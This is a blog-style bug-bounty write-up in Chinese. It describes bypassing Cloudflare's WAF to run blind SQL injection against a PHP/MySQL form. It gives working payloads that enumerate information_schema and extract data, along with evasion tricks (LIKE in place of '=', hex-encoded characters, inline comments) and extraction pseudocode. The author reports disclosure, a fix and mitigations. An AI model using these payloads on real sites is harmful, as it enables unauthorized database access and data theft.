目录导航
绕过Cloudflare的waf进行SQL注入
有关应用程序的详细信息
该应用程序是一个用PHP编写的通用网站,其中MySQL作为后端DBMS。易受攻击的页面向/index.php端点提交了包含多部分表单主体数据的POST请求。老实说,我不记得该表格的使用了,对于撰写该文章也没什么关系。POST请求如下所示:
POST /index.php HTTP/1.1
Host: ******
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=dc30b7aab06d4aff91d4285d7e60d4f3
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="126"
###### ###### ########## ########
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="127"
###### ###### ########## ########
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="130"
...
...
###### #### 6 ########
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="task"
form.save
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="form_id"
X-MARK
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="96"
############
--dc30b7aab06d4aff91d4285d7e60d4f3
...
...
Content-Disposition: form-data; name="115[]"
########## ################## #### ###### ######
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="125"
###### ###### ########## ########
--dc30b7aab06d4aff91d4285d7e60d4f3--
X-MARK处未经过滤的参数可用于在SQL SELECT查询的WHERE子句处插入任意值。例如,如果以上数据作为POST请求的主体发送,则将在服务器上执行的SQL查询如下所示:
SELECT c1,c2,c3 FROM t1 WHERE X-MARK;
通常用于这种注入的技术是基于时间的SQL盲注入。问题是,Cloudflare会识别出这种类型的注射并将其当场阻止。无论我尝试进行查询有多么复杂,也不管我使用了多少个sqlmap篡改脚本,Cloudflare都始终存在。
为了克服此问题,我使用了在同一请求上手动测试SQL注入时所做的观察:我注意到当我尝试注入导致类似于以下SQL查询的代码时:
SELECT c1,c2,c3 FROM t1 WHERE 'a'='a';
Web服务器以200 OK响应。当我尝试注入导致类似于此SQL查询的代码时:
SELECT c1,c2,c3 FROM t1 WHERE 'a'='b';
服务器以状态500 Internal Server Error响应。
换句话说,当后端中的SQL查询未返回结果时,Web服务器会抱怨并崩溃(可能是因为后端代码试图访问返回列表中索引超出范围的项目)。这给了我一个主意:编写一个脚本,比较从所需DBMS实体名称中选择的字符,然后依次将其与所有字符进行比较。这个想法是,如果两个字符匹配,服务器将返回200 OK状态,否则它将返回500 Internal Server Error状态,并且我必须将请求的字符与列表中的下一个字符进行比较。
第一次尝试
我的想法是,如果要查找第五个表的名称的第一个第二个字符(如在information_schema.tables中列出的那样),我将从询问MySQL该字符是否等于’a’开始,如果不是,将以“ b”,“ c”等继续。我将首先注入以下字符串(与“ a”进行比较):
'a' =
(SELECT SUBSTRING(table_name, 2, 1)
FROM information_schema.tables
LIMIT 4, 1
)
这将导致在服务器上执行以下SQL查询:
SELECT c1,c2,c3 FROM t1
WHERE 'a' =
(SELECT SUBSTRING(table_name, 2, 1)
FROM information_schema.tables
LIMIT 4, 1
)
例如,当我发现表名称为t1时,我将通过以下开始注入来强行使用其列名称:
注射1
'a' =
(SELECT SUBSTRING(column_name, 1, 1)
FROM information_schema.columns
WHERE table_name = "t1"
LIMIT 0, 1
)
然后通过以下注入开始实际从表t1的列c1中获取值:
'a' =
(SELECT SUBSTRING(c1, 1, 1)
FROM t1
LIMIT 0, 1
)
这个想法很好,但是Cloudflare会抱怨’=’符号。注射
'a' = 'b'
将被Cloudflare的WAF阻止。经过一番摆弄之后,我提出了以下请求,绕过了’=’限制:
'a' LIKE 'b'
这意味着初始注射“ 注射1”将变为:
'a' LIKE
(SELECT SUBSTRING(column_name, 1, 1)
FROM information_schema.columns
WHERE table_name = "t1"
LIMIT 0, 1
)
第二次尝试
注射1仍未准备就绪。Cloudflare仍然会抱怨一些东西。更具体地说是注射
'a' LIKE 'b'
仍然会被阻止,不是因为LIKE关键字,而是因为’a’字符。不允许将纯字符串与任何内容进行比较。为了克服这个问题,我想出了以下注入方法,这些注入方法未被WAF检测到:
'0x61' LIKE 'b'
上面的注入将字符“ a”作为十六进制编码的值“ 0x61”发送,这仍然允许其工作:
'0x61' LIKE 'a'
仍然返回True,并且
'0x61' LIKE 'b'
通过未检测到并返回False。
生成的INJECTION 1 现在看起来像这样:
'0x61' LIKE
(SELECT SUBSTRING(column_name, 1, 1)
FROM information_schema.columns
WHERE table_name = "t1"
LIMIT 0, 1
)
第三次尝试
我必须进行的第三项混淆是在SQL查询关键字之间添加了多行注释。Cloudflare将阻止这样的查询:
SELECT c1,c2,c3 FROM t1 WHERE '0x61' LIKE 'b'
但是使用多行注释技巧,新查询将无法检测到:
SELECT/*trick comment*/ c1,c2,c3
FROM/*trick comment*/ t1
WHERE '0x61' LIKE 'b'
因此,将此方法应用于INJECTION 1,将使其看起来像这样:
'0x61' LIKE
(SELECT/*trick comment*/ SUBSTRING(column_name, 1, 1)
FROM/*trick comment*/ information_schema.columns
WHERE table_name = "t1"
LIMIT 0, 1
)
上面的注入是最终形式,当作为表单值传递给易受攻击的Web应用程序时,如果字符“ a”与表t1的第一列名称的第一个字符匹配,则Web服务器将以200 OK进行响应。
全速前进
为了使从应用程序数据库中检索表内容更加容易,我用Python编写了一个脚本来自动执行该过程。脚本的伪代码如下所示:
# assert names of columns and table name is known
alphabet = [a,b,c,...,y,z]
characterPosition = 1 # the position of the character we are bruteforcing
for rowNumber in [0,20]:
for columnName in columns:
for character in alphabet:
sqlInjection = '''
0x{hex_encode(character)} LIKE (
SELECT/*trick comment*/ SUBSTRING({columnName}, characterPosition,1)
FROM/*trick comment*/ tableName
LIMIT {rowNumber}, 1
)
'''
inject sqlInjection is POST request body
if response.status == 200:
result += character
recurse function with characterPosition++
elif response.status == 500:
continue with next character in alphabet
return result
这就是我绕过Cloudflare WAF的SQL注入保护的方式。我得到了免费的T恤,并在Cloudflare的HoF中占有一席之地。
解决
我的报告发布后几天,Cloudlfare审查并修复了该漏洞。
准备好的语句是减轻数据库上SQL注入的最安全方法。这些包含在大多数语言的大多数数据库交互库中。您可以在OWASP上找到减轻SQL注入的方法的完整列表 。我的观点是,如果开发人员注意在其应用程序上应用安全措施,则WAF在大多数情况下是不必要的。您需要做的只是正确清理用户的输入。
